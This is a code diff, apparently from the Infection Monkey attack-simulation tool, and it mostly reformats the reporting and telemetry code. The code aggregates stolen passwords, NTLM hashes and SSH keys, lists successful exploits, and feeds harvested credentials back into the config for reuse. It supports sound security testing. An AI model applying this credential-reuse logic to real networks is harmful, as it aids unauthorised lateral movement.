return list( + set( + [ + ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name + for exploit in node["exploits"] + if exploit["result"] + ] + ) + ) @staticmethod def get_stolen_creds(): @@ -158,27 +200,31 @@ def get_stolen_creds(): stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems() creds.extend(stolen_exploit_creds) - logger.info('Stolen creds generated for reporting') + logger.info("Stolen creds generated for reporting") return creds @staticmethod def _get_credentials_from_system_info_telems(): formatted_creds = [] - for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, - {'data.credentials': 1, 'monkey_guid': 1}): - creds = telem['data']['credentials'] - origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] + for telem in mongo.db.telemetry.find( + {"telem_category": "system_info", "data.credentials": {"$exists": True}}, + {"data.credentials": 1, "monkey_guid": 1}, + ): + creds = telem["data"]["credentials"] + origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin)) return formatted_creds @staticmethod def _get_credentials_from_exploit_telems(): formatted_creds = [] - for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, - {'data.info.credentials': 1, 'data.machine': 1, 'monkey_guid': 1}): - creds = telem['data']['info']['credentials'] - domain_name = telem['data']['machine']['domain_name'] - ip = telem['data']['machine']['ip_addr'] + for telem in mongo.db.telemetry.find( + {"telem_category": "exploit", "data.info.credentials": {"$exists": True}}, + {"data.info.credentials": 1, "data.machine": 1, "monkey_guid": 1}, + ): + creds = telem["data"]["info"]["credentials"] + domain_name = telem["data"]["machine"]["domain_name"] + ip = telem["data"]["machine"]["ip_addr"] origin = domain_name if domain_name else ip formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin)) return formatted_creds @@ -186,7 +232,11 @@ def _get_credentials_from_exploit_telems(): @staticmethod def _format_creds_for_reporting(telem, monkey_creds, origin): creds = [] - CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} + CRED_TYPE_DICT = { + "password": "Clear Password", + "lm_hash": "LM hash", + "ntlm_hash": "NTLM hash", + } if len(monkey_creds) == 0: return [] @@ -194,13 +244,14 @@ def _format_creds_for_reporting(telem, monkey_creds, origin): for cred_type in CRED_TYPE_DICT: if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]: continue - username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user - cred_row = \ - { - 'username': username, - 'type': CRED_TYPE_DICT[cred_type], - 'origin': origin - } + username = ( + monkey_creds[user]["username"] if "username" in monkey_creds[user] else user + ) + cred_row = { + "username": username, + "type": CRED_TYPE_DICT[cred_type], + "origin": origin, + } if cred_row not in creds: creds.append(cred_row) return creds @@ -213,17 +264,27 @@ def get_ssh_keys(): """ creds = [] for telem in mongo.db.telemetry.find( - {'telem_category': 'system_info', 'data.ssh_info': {'$exists': True}}, - {'data.ssh_info': 1, 'monkey_guid': 1} + {"telem_category": "system_info", "data.ssh_info": {"$exists": True}}, + {"data.ssh_info": 1, "monkey_guid": 1}, ): - origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] - if telem['data']['ssh_info']: + origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] + if telem["data"]["ssh_info"]: # Pick out all ssh keys not yet included in creds - ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key', - 'origin': origin} for key_pair in telem['data']['ssh_info'] - if - key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key', - 'origin': origin} not in creds] + ssh_keys = [ + { + "username": key_pair["name"], + "type": "Clear SSH private key", + "origin": origin, + } + for key_pair in telem["data"]["ssh_info"] + if key_pair["private_key"] + and { + "username": key_pair["name"], + "type": "Clear SSH private key", + "origin": origin, + } + not in creds + ] creds.extend(ssh_keys) return creds @@ -235,23 +296,25 @@ def get_azure_creds(): """ creds = [] for telem in mongo.db.telemetry.find( - {'telem_category': 'system_info', 'data.Azure': {'$exists': True}}, - {'data.Azure': 1, 'monkey_guid': 1} + {"telem_category": "system_info", "data.Azure": {"$exists": True}}, + {"data.Azure": 1, "monkey_guid": 1}, ): - azure_users = telem['data']['Azure']['usernames'] + azure_users = telem["data"]["Azure"]["usernames"] if len(azure_users) == 0: continue - origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] - azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password', - 'origin': origin} for user in azure_users] + origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] + azure_leaked_users = [ + {"username": user.replace(",", "."), "type": "Clear Password", "origin": origin} + for user in azure_users + ] creds.extend(azure_leaked_users) - logger.info('Azure machines creds generated for reporting') + logger.info("Azure machines creds generated for reporting") return creds @staticmethod def process_exploit(exploit) -> ExploiterReportInfo: - exploiter_type = exploit['data']['exploiter'] + exploiter_type = exploit["data"]["exploiter"] exploiter_descriptor = ExploiterDescriptorEnum.get_by_class_name(exploiter_type) processor = exploiter_descriptor.processor() exploiter_info = processor.get_exploit_info_by_dict(exploiter_type, exploit) @@ -259,11 +322,16 @@ def process_exploit(exploit) -> ExploiterReportInfo: @staticmethod def get_exploits() -> List[dict]: - query = [{'$match': {'telem_category': 'exploit', 'data.result': True}}, - {'$group': {'_id': {'ip_address': '$data.machine.ip_addr'}, - 'data': {'$first': '$$ROOT'}, - }}, - {"$replaceRoot": {"newRoot": "$data"}}] + query = [ + {"$match": {"telem_category": "exploit", "data.result": True}}, + { + "$group": { + "_id": {"ip_address": "$data.machine.ip_addr"}, + "data": {"$first": "$$ROOT"}, + } + }, + {"$replaceRoot": {"newRoot": "$data"}}, + ] exploits = [] for exploit in mongo.db.telemetry.aggregate(query): new_exploit = ReportService.process_exploit(exploit) @@ -274,26 +342,26 @@ def get_exploits() -> List[dict]: @staticmethod def get_monkey_subnets(monkey_guid): network_info = mongo.db.telemetry.find_one( - {'telem_category': 'system_info', - 'monkey_guid': monkey_guid}, - {'data.network_info.networks': 1} + {"telem_category": "system_info", "monkey_guid": monkey_guid}, + {"data.network_info.networks": 1}, ) if network_info is None or not network_info["data"]: return [] - return \ - [ - ipaddress.ip_interface(str(network['addr'] + '/' + network['netmask'])).network - for network in network_info['data']['network_info']['networks'] - ] + return [ + ipaddress.ip_interface(str(network["addr"] + "/" + network["netmask"])).network + for network in network_info["data"]["network_info"]["networks"] + ] @staticmethod def get_island_cross_segment_issues(): issues = [] island_ips = local_ip_addresses() - for monkey in mongo.db.monkey.find({'tunnel': {'$exists': False}}, {'tunnel': 1, 'guid': 1, 'hostname': 1}): + for monkey in mongo.db.monkey.find( + {"tunnel": {"$exists": False}}, {"tunnel": 1, "guid": 1, "hostname": 1} + ): found_good_ip = False - monkey_subnets = ReportService.get_monkey_subnets(monkey['guid']) + monkey_subnets = ReportService.get_monkey_subnets(monkey["guid"]) for subnet in monkey_subnets: for ip in island_ips: if ipaddress.ip_address(str(ip)) in subnet: @@ -303,9 +371,12 @@ def get_island_cross_segment_issues(): break if not found_good_ip: issues.append( - {'type': 'island_cross_segment', 'machine': monkey['hostname'], - 'networks': [str(subnet) for subnet in monkey_subnets], - 'server_networks': [str(subnet) for subnet in get_subnets()]} + { + "type": "island_cross_segment", + "machine": monkey["hostname"], + "networks": [str(subnet) for subnet in monkey_subnets], + "server_networks": [str(subnet) for subnet in get_subnets()], + } ) return issues @@ -321,10 +392,10 @@ def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subne """ cross_segment_issues = [] - for monkey in mongo.db.monkey.find({}, {'ip_addresses': 1, 'hostname': 1}): + for monkey in mongo.db.monkey.find({}, {"ip_addresses": 1, "hostname": 1}): ip_in_src = None ip_in_dst = None - for ip_addr in monkey['ip_addresses']: + for ip_addr in monkey["ip_addresses"]: if source_subnet_range.is_in_range(str(ip_addr)): ip_in_src = ip_addr break @@ -333,7 +404,7 @@ def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subne if not ip_in_src: continue - for ip_addr in monkey['ip_addresses']: + for ip_addr in monkey["ip_addresses"]: if target_subnet_range.is_in_range(str(ip_addr)): ip_in_dst = ip_addr break @@ -341,12 +412,13 @@ def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subne if ip_in_dst: cross_segment_issues.append( { - 'source': ip_in_src, - 'hostname': monkey['hostname'], - 'target': ip_in_dst, - 'services': None, - 'is_self': True - }) + "source": ip_in_src, + "hostname": monkey["hostname"], + "target": ip_in_dst, + "services": None, + "is_self": True, + } + ) return cross_segment_issues @@ -369,26 +441,28 @@ def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet scans.rewind() # If we iterated over scans already we need to rewind. for scan in scans: - target_ip = scan['data']['machine']['ip_addr'] + target_ip = scan["data"]["machine"]["ip_addr"] if target_subnet_range.is_in_range(str(target_ip)): - monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) - cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], - source_subnet_range, - target_subnet_range) + monkey = NodeService.get_monkey_by_guid(scan["monkey_guid"]) + cross_segment_ip = get_ip_in_src_and_not_in_dst( + monkey["ip_addresses"], source_subnet_range, target_subnet_range + ) if cross_segment_ip is not None: cross_segment_issues.append( { - 'source': cross_segment_ip, - 'hostname': monkey['hostname'], - 'target': target_ip, - 'services': scan['data']['machine']['services'], - 'icmp': scan['data']['machine']['icmp'], - 'is_self': False - }) + "source": cross_segment_ip, + "hostname": monkey["hostname"], + "target": target_ip, + "services": scan["data"]["machine"]["services"], + "icmp": scan["data"]["machine"]["icmp"], + "is_self": False, + } + ) return cross_segment_issues + ReportService.get_cross_segment_issues_of_single_machine( - source_subnet_range, target_subnet_range) + source_subnet_range, target_subnet_range + ) @staticmethod def get_cross_segment_issues_per_subnet_group(scans, subnet_group): @@ -404,22 +478,31 @@ def get_cross_segment_issues_per_subnet_group(scans, subnet_group): for subnet_pair in itertools.product(subnet_group, subnet_group): source_subnet = subnet_pair[0] target_subnet = subnet_pair[1] - pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet) + pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair( + scans, source_subnet, target_subnet + ) if len(pair_issues) != 0: cross_segment_issues.append( { - 'source_subnet': source_subnet, - 'target_subnet': target_subnet, - 'issues': pair_issues - }) + "source_subnet": source_subnet, + "target_subnet": target_subnet, + "issues": pair_issues, + } + ) return cross_segment_issues @staticmethod def get_cross_segment_issues(): - scans = mongo.db.telemetry.find({'telem_category': 'scan'}, - {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1, - 'data.machine.icmp': 1}) + scans = mongo.db.telemetry.find( + {"telem_category": "scan"}, + { + "monkey_guid": 1, + "data.machine.ip_addr": 1, + "data.machine.services": 1, + "data.machine.icmp": 1, + }, + ) cross_segment_issues = [] @@ -427,7 +510,9 @@ def get_cross_segment_issues(): subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: - cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) + cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group( + scans, subnet_group + ) return cross_segment_issues @@ -440,30 +525,35 @@ def get_domain_issues(): issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) domain_issues_dict = {} for issue in issues: - if not issue.get('is_local', True): - machine = issue.get('machine').upper() - aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) + if not issue.get("is_local", True): + machine = issue.get("machine").upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get("machine")) if machine not in domain_issues_dict: domain_issues_dict[machine] = [] if aws_instance_id: - issue['aws_instance_id'] = aws_instance_id + issue["aws_instance_id"] = aws_instance_id domain_issues_dict[machine].append(issue) - logger.info('Domain issues generated for reporting') + logger.info("Domain issues generated for reporting") return domain_issues_dict @staticmethod def get_machine_aws_instance_id(hostname): - aws_instance_id_list = list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + aws_instance_id_list = list( + mongo.db.monkey.find({"hostname": hostname}, {"aws_instance_id": 1}) + ) if aws_instance_id_list: - if 'aws_instance_id' in aws_instance_id_list[0]: - return str(aws_instance_id_list[0]['aws_instance_id']) + if "aws_instance_id" in aws_instance_id_list[0]: + return str(aws_instance_id_list[0]["aws_instance_id"]) else: return None @staticmethod def get_manual_monkeys(): - return [monkey['hostname'] for monkey in mongo.db.monkey.find({}, {'hostname': 1, 'parent': 1, 'guid': 1}) if - NodeService.get_monkey_manual_run(monkey)] + return [ + monkey["hostname"] + for monkey in mongo.db.monkey.find({}, {"hostname": 1, "parent": 1, "guid": 1}) + if NodeService.get_monkey_manual_run(monkey) + ] @staticmethod def get_config_users(): @@ -482,10 +572,11 @@ def get_config_exploits(): exploits = ConfigService.get_config_value(exploits_config_value, True, True) if exploits == default_exploits: - return ['default'] + return ["default"] - return [ExploiterDescriptorEnum.get_by_class_name(exploit).display_name - for exploit in exploits] + return [ + ExploiterDescriptorEnum.get_by_class_name(exploit).display_name for exploit in exploits + ] @staticmethod def get_config_ips(): @@ -508,29 +599,36 @@ def get_issue_set(issues, config_users, config_passwords): elif ReportService._is_zerologon_pass_restore_failed(issue): issue_set.add(ReportService.DerivedIssueEnum.ZEROLOGON_PASS_RESTORE_FAILED) - issue_set.add(issue['type']) + issue_set.add(issue["type"]) return issue_set @staticmethod - def _is_weak_credential_issue(issue: dict, config_usernames: List[str], config_passwords: List[str]) -> bool: + def _is_weak_credential_issue( + issue: dict, config_usernames: List[str], config_passwords: List[str] + ) -> bool: # Only credential exploiter issues have 'credential_type' - return 'credential_type' in issue and \ - issue['credential_type'] == CredentialType.PASSWORD.value and \ - issue['password'] in config_passwords and \ - issue['username'] in config_usernames + return ( + "credential_type" in issue + and issue["credential_type"] == CredentialType.PASSWORD.value + and issue["password"] in config_passwords + and issue["username"] in config_usernames + ) @staticmethod def _is_stolen_credential_issue(issue: dict) -> bool: # Only credential exploiter issues have 'credential_type' - return 'credential_type' in issue and \ - (issue['credential_type'] == CredentialType.PASSWORD.value or - issue['credential_type'] == CredentialType.HASH.value) + return "credential_type" in issue and ( + issue["credential_type"] == CredentialType.PASSWORD.value + or issue["credential_type"] == CredentialType.HASH.value + ) @staticmethod def _is_zerologon_pass_restore_failed(issue: dict): - return issue['type'] == ExploiterDescriptorEnum.ZEROLOGON.value.class_name \ - and not issue['password_restored'] + return ( + issue["type"] == ExploiterDescriptorEnum.ZEROLOGON.value.class_name + and not issue["password_restored"] + ) @staticmethod def is_report_generated(): @@ -549,40 +647,32 @@ def generate_report(): scanned_nodes = ReportService.get_scanned() exploited_nodes = ReportService.get_exploited() - report = \ - { - 'overview': - { - 'manual_monkeys': ReportService.get_manual_monkeys(), - 'config_users': config_users, - 'config_passwords': config_passwords, - 'config_exploits': ReportService.get_config_exploits(), - 'config_ips': ReportService.get_config_ips(), - 'config_scan': ReportService.get_config_scan(), - 'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"), - 'monkey_duration': ReportService.get_monkey_duration(), - 'issues': issue_set, - 'cross_segment_issues': cross_segment_issues - }, - 'glance': - { - 'scanned': scanned_nodes, - 'exploited': exploited_nodes, - 'stolen_creds': ReportService.get_stolen_creds(), - 'azure_passwords': ReportService.get_azure_creds(), - 'ssh_keys': ReportService.get_ssh_keys(), - 'strong_users': PTHReportService.get_strong_users_on_crit_details() - }, - 'recommendations': - { - 'issues': issues, - 'domain_issues': domain_issues - }, - 'meta': - { - 'latest_monkey_modifytime': monkey_latest_modify_time - } - } + report = { + "overview": { + "manual_monkeys": ReportService.get_manual_monkeys(), + "config_users": config_users, + "config_passwords": config_passwords, + "config_exploits": ReportService.get_config_exploits(), + "config_ips": ReportService.get_config_ips(), + "config_scan": ReportService.get_config_scan(), + "monkey_start_time": ReportService.get_first_monkey_time().strftime( + "%d/%m/%Y %H:%M:%S" + ), + "monkey_duration": ReportService.get_monkey_duration(), + "issues": issue_set, + "cross_segment_issues": cross_segment_issues, + }, + "glance": { + "scanned": scanned_nodes, + "exploited": exploited_nodes, + "stolen_creds": ReportService.get_stolen_creds(), + "azure_passwords": ReportService.get_azure_creds(), + "ssh_keys": ReportService.get_ssh_keys(), + "strong_users": PTHReportService.get_strong_users_on_crit_details(), + }, + "recommendations": {"issues": issues, "domain_issues": domain_issues}, + "meta": {"latest_monkey_modifytime": monkey_latest_modify_time}, + } ReportExporterManager().export(report) mongo.db.report.drop() mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report)) @@ -597,22 +687,22 @@ def get_issues(): ReportService.get_island_cross_segment_issues, ReportService.get_azure_issues, PTHReportService.get_duplicated_passwords_issues, - PTHReportService.get_strong_users_on_crit_issues + PTHReportService.get_strong_users_on_crit_issues, ] issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) issues_dict = {} for issue in issues: - if issue.get('is_local', True): - machine = issue.get('machine').upper() - aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) + if issue.get("is_local", True): + machine = issue.get("machine").upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get("machine")) if machine not in issues_dict: issues_dict[machine] = [] if aws_instance_id: - issue['aws_instance_id'] = aws_instance_id + issue["aws_instance_id"] = aws_instance_id issues_dict[machine].append(issue) - logger.info('Issues generated for reporting') + logger.info("Issues generated for reporting") return issues_dict @staticmethod @@ -622,7 +712,7 @@ def encode_dot_char_before_mongo_insert(report_dict): ,,, combo instead. :return: dict with formatted keys with no dots. """ - report_as_json = json_util.dumps(report_dict).replace('.', ',,,') + report_as_json = json_util.dumps(report_dict).replace(".", ",,,") return json_util.loads(report_as_json) @staticmethod @@ -631,10 +721,10 @@ def is_latest_report_exists(): This function checks if a monkey report was already generated and if it's the latest one. :return: True if report is the latest one, False if there isn't a report or its not the latest. """ - latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1}) + latest_report_doc = mongo.db.report.find_one({}, {"meta.latest_monkey_modifytime": 1}) if latest_report_doc: - report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime'] + report_latest_modifytime = latest_report_doc["meta"]["latest_monkey_modifytime"] latest_monkey_modifytime = Monkey.get_latest_modifytime() return report_latest_modifytime == latest_monkey_modifytime @@ -648,7 +738,9 @@ def delete_saved_report_if_exists(): """ delete_result = mongo.db.report.delete_many({}) if mongo.db.report.count_documents({}) != 0: - raise RuntimeError("Report cache not cleared. DeleteResult: " + delete_result.raw_result) + raise RuntimeError( + "Report cache not cleared. DeleteResult: " + delete_result.raw_result + ) @staticmethod def decode_dot_char_before_mongo_insert(report_dict): @@ -656,7 +748,7 @@ def decode_dot_char_before_mongo_insert(report_dict): this function replaces the ',,,' combo with the '.' char instead. :return: report dict with formatted keys (',,,' -> '.') """ - report_as_json = json_util.dumps(report_dict).replace(',,,', '.') + report_as_json = json_util.dumps(report_dict).replace(",,,", ".") return json_util.loads(report_as_json) @staticmethod @@ -667,6 +759,9 @@ def get_report(): @staticmethod def did_exploit_type_succeed(exploit_type): - return mongo.db.edge.count( - {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, - limit=1) > 0 + return ( + mongo.db.edge.count( + {"exploits": {"$elemMatch": {"exploiter": exploit_type, "result": True}}}, limit=1 + ) + > 0 + ) diff --git a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py index 865556b0d4f..00414028f6c 100644 --- a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py +++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py @@ -1,6 +1,6 @@ import logging -__author__ = 'maor.rayzin' +__author__ = "maor.rayzin" logger = logging.getLogger(__name__) @@ -30,4 +30,4 @@ def export(self, report): try: exporter().handle_report(report) except Exception as e: - logger.exception('Failed to export report, error: ' + e) + logger.exception("Failed to export report, error: " + e) diff --git a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py index 30e406e9f53..dec13e6d60a 100644 --- a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py +++ b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py @@ -28,6 +28,7 @@ def safe_generate_reports(): def safe_generate_regular_report(): # Local import to avoid circular imports from monkey_island.cc.services.reporting.report import ReportService + try: __regular_report_generating_lock.acquire() report = ReportService.generate_report() @@ -39,6 +40,7 @@ def safe_generate_regular_report(): def safe_generate_attack_report(): # Local import to avoid circular imports from monkey_island.cc.services.attack.attack_report import AttackReportService + try: __attack_report_generating_lock.acquire() attack_report = AttackReportService.generate_new_report() diff --git a/monkey/monkey_island/cc/services/reporting/test_report.py b/monkey/monkey_island/cc/services/reporting/test_report.py index 5f95eae4721..cf446c7570d 100644 --- a/monkey/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/monkey_island/cc/services/reporting/test_report.py @@ -4,48 +4,59 @@ from monkey_island.cc.services.reporting.report import ReportService NODE_DICT = { - 'id': '602f62118e30cf35830ff8e4', - 'label': 'WinDev2010Eval.mshome.net', - 'group': 'monkey_windows', - 'os': 'windows', - 'dead': True, - 'exploits': [{'result': True, - 'exploiter': 'DrupalExploiter', - 'info': {'display_name': 'Drupal Server', - 'started': datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), - 'finished': datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), - 'vulnerable_urls': [], - 'vulnerable_ports': [], - 'executed_cmds': []}, - 'attempts': [], - 'timestamp': datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), - 'origin': 'MonkeyIsland : 192.168.56.1'}, - - {'result': True, - 'exploiter': 'ElasticGroovyExploiter', - 'info': {'display_name': 'Elastic search', - 'started': datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), - 'finished': datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), - 'vulnerable_urls': [], 'vulnerable_ports': [], 'executed_cmds': []}, - 'attempts': [], - 'timestamp': datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), - 'origin': 'MonkeyIsland : 192.168.56.1'}] + "id": "602f62118e30cf35830ff8e4", + "label": "WinDev2010Eval.mshome.net", + "group": "monkey_windows", + "os": "windows", + "dead": True, + "exploits": [ + { + "result": True, + "exploiter": "DrupalExploiter", + "info": { + "display_name": "Drupal Server", + "started": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "finished": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + }, + "attempts": [], + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "origin": "MonkeyIsland : 192.168.56.1", + }, + { + "result": True, + "exploiter": "ElasticGroovyExploiter", + "info": { + "display_name": "Elastic search", + "started": datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), + "finished": datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + }, + "attempts": [], + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), + "origin": "MonkeyIsland : 192.168.56.1", + }, + ], } NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT) -NODE_DICT_DUPLICATE_EXPLOITS['exploits'][1] = NODE_DICT_DUPLICATE_EXPLOITS['exploits'][0] +NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0] NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT) -NODE_DICT_FAILED_EXPLOITS['exploits'][0]['result'] = False -NODE_DICT_FAILED_EXPLOITS['exploits'][1]['result'] = False +NODE_DICT_FAILED_EXPLOITS["exploits"][0]["result"] = False +NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False def test_get_exploits_used_on_node(): exploits = ReportService.get_exploits_used_on_node(NODE_DICT) - assert sorted(exploits) == sorted(['Elastic Groovy Exploiter', 'Drupal Server Exploiter']) + assert sorted(exploits) == sorted(["Elastic Groovy Exploiter", "Drupal Server Exploiter"]) exploits = ReportService.get_exploits_used_on_node(NODE_DICT_DUPLICATE_EXPLOITS) - assert exploits == ['Drupal Server Exploiter'] + assert exploits == ["Drupal Server Exploiter"] exploits = ReportService.get_exploits_used_on_node(NODE_DICT_FAILED_EXPLOITS) assert exploits == [] diff --git a/monkey/monkey_island/cc/services/representations.py b/monkey/monkey_island/cc/services/representations.py index cd804db508a..0193fae0d80 100644 --- a/monkey/monkey_island/cc/services/representations.py +++ b/monkey/monkey_island/cc/services/representations.py @@ -6,9 +6,9 @@ def normalize_obj(obj): - if ('_id' in obj) and ('id' not in obj): - obj['id'] = obj['_id'] - del obj['_id'] + if ("_id" in obj) and ("id" not in obj): + obj["id"] = obj["_id"] + del obj["_id"] for key, value in list(obj.items()): if isinstance(value, bson.objectid.ObjectId): diff --git a/monkey/monkey_island/cc/services/representations_test.py b/monkey/monkey_island/cc/services/representations_test.py index 079cb995fc6..8aadc0bed8d 100644 --- a/monkey/monkey_island/cc/services/representations_test.py +++ b/monkey/monkey_island/cc/services/representations_test.py @@ -12,22 +12,15 @@ def test_normalize_obj(self): self.assertEqual({}, normalize_obj({})) # no special content - self.assertEqual( - {"a": "a"}, - normalize_obj({"a": "a"}) - ) + self.assertEqual({"a": "a"}, normalize_obj({"a": "a"})) # _id field -> id field - self.assertEqual( - {"id": 12345}, - normalize_obj({"_id": 12345}) - ) + self.assertEqual({"id": 12345}, normalize_obj({"_id": 12345})) # obj id field -> str obj_id_str = "123456789012345678901234" self.assertEqual( - {"id": obj_id_str}, - normalize_obj({"_id": bson.objectid.ObjectId(obj_id_str)}) + {"id": obj_id_str}, normalize_obj({"_id": bson.objectid.ObjectId(obj_id_str)}) ) # datetime -> str @@ -37,18 +30,17 @@ def test_normalize_obj(self): self.assertEqual(expected, result) # dicts and lists - self.assertEqual({ - "a": [ - {"ba": obj_id_str, - "bb": obj_id_str} - ], - "b": {"id": obj_id_str} - }, - normalize_obj({ - "a": [ - {"ba": bson.objectid.ObjectId(obj_id_str), - "bb": bson.objectid.ObjectId(obj_id_str)} - ], - "b": {"_id": bson.objectid.ObjectId(obj_id_str)} - }) + self.assertEqual( + {"a": [{"ba": obj_id_str, "bb": obj_id_str}], "b": {"id": obj_id_str}}, + normalize_obj( + { + "a": [ + { + "ba": bson.objectid.ObjectId(obj_id_str), + "bb": bson.objectid.ObjectId(obj_id_str), + } + ], + "b": {"_id": bson.objectid.ObjectId(obj_id_str)}, + } + ), ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 9b06b028db7..acd8f261be3 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -7,8 +7,12 @@ from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry -from monkey_island.cc.services.telemetry.zero_trust_checks.machine_exploited import check_machine_exploited +from monkey_island.cc.services.telemetry.processing.utils import ( + get_edge_by_scan_or_exploit_telemetry, +) +from monkey_island.cc.services.telemetry.zero_trust_checks.machine_exploited import ( + check_machine_exploited, +) def process_exploit_telemetry(telemetry_json): @@ -19,51 +23,56 @@ def process_exploit_telemetry(telemetry_json): add_exploit_extracted_creds_to_config(telemetry_json) check_machine_exploited( - current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']), - exploit_successful=telemetry_json['data']['result'], - exploiter=telemetry_json['data']['exploiter'], - target_ip=telemetry_json['data']['machine']['ip_addr'], - timestamp=telemetry_json['timestamp']) + current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), + exploit_successful=telemetry_json["data"]["result"], + exploiter=telemetry_json["data"]["exploiter"], + target_ip=telemetry_json["data"]["machine"]["ip_addr"], + timestamp=telemetry_json["timestamp"], + ) def add_exploit_extracted_creds_to_config(telemetry_json): - if 'credentials' in telemetry_json['data']['info']: - creds = telemetry_json['data']['info']['credentials'] + if "credentials" in telemetry_json["data"]["info"]: + creds = telemetry_json["data"]["info"]["credentials"] for user in creds: - ConfigService.creds_add_username(creds[user]['username']) - if 'password' in creds[user] and creds[user]['password']: - ConfigService.creds_add_password(creds[user]['password']) - if 'lm_hash' in creds[user] and creds[user]['lm_hash']: - ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) - if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: - ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + ConfigService.creds_add_username(creds[user]["username"]) + if "password" in creds[user] and creds[user]["password"]: + ConfigService.creds_add_password(creds[user]["password"]) + if "lm_hash" in creds[user] and creds[user]["lm_hash"]: + ConfigService.creds_add_lm_hash(creds[user]["lm_hash"]) + if "ntlm_hash" in creds[user] and creds[user]["ntlm_hash"]: + ConfigService.creds_add_ntlm_hash(creds[user]["ntlm_hash"]) def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): - for attempt in telemetry_json['data']['attempts']: - if attempt['result']: - found_creds = {'user': attempt['user']} - for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: + for attempt in telemetry_json["data"]["attempts"]: + if attempt["result"]: + found_creds = {"user": attempt["user"]} + for field in ["password", "lm_hash", "ntlm_hash", "ssh_key"]: if 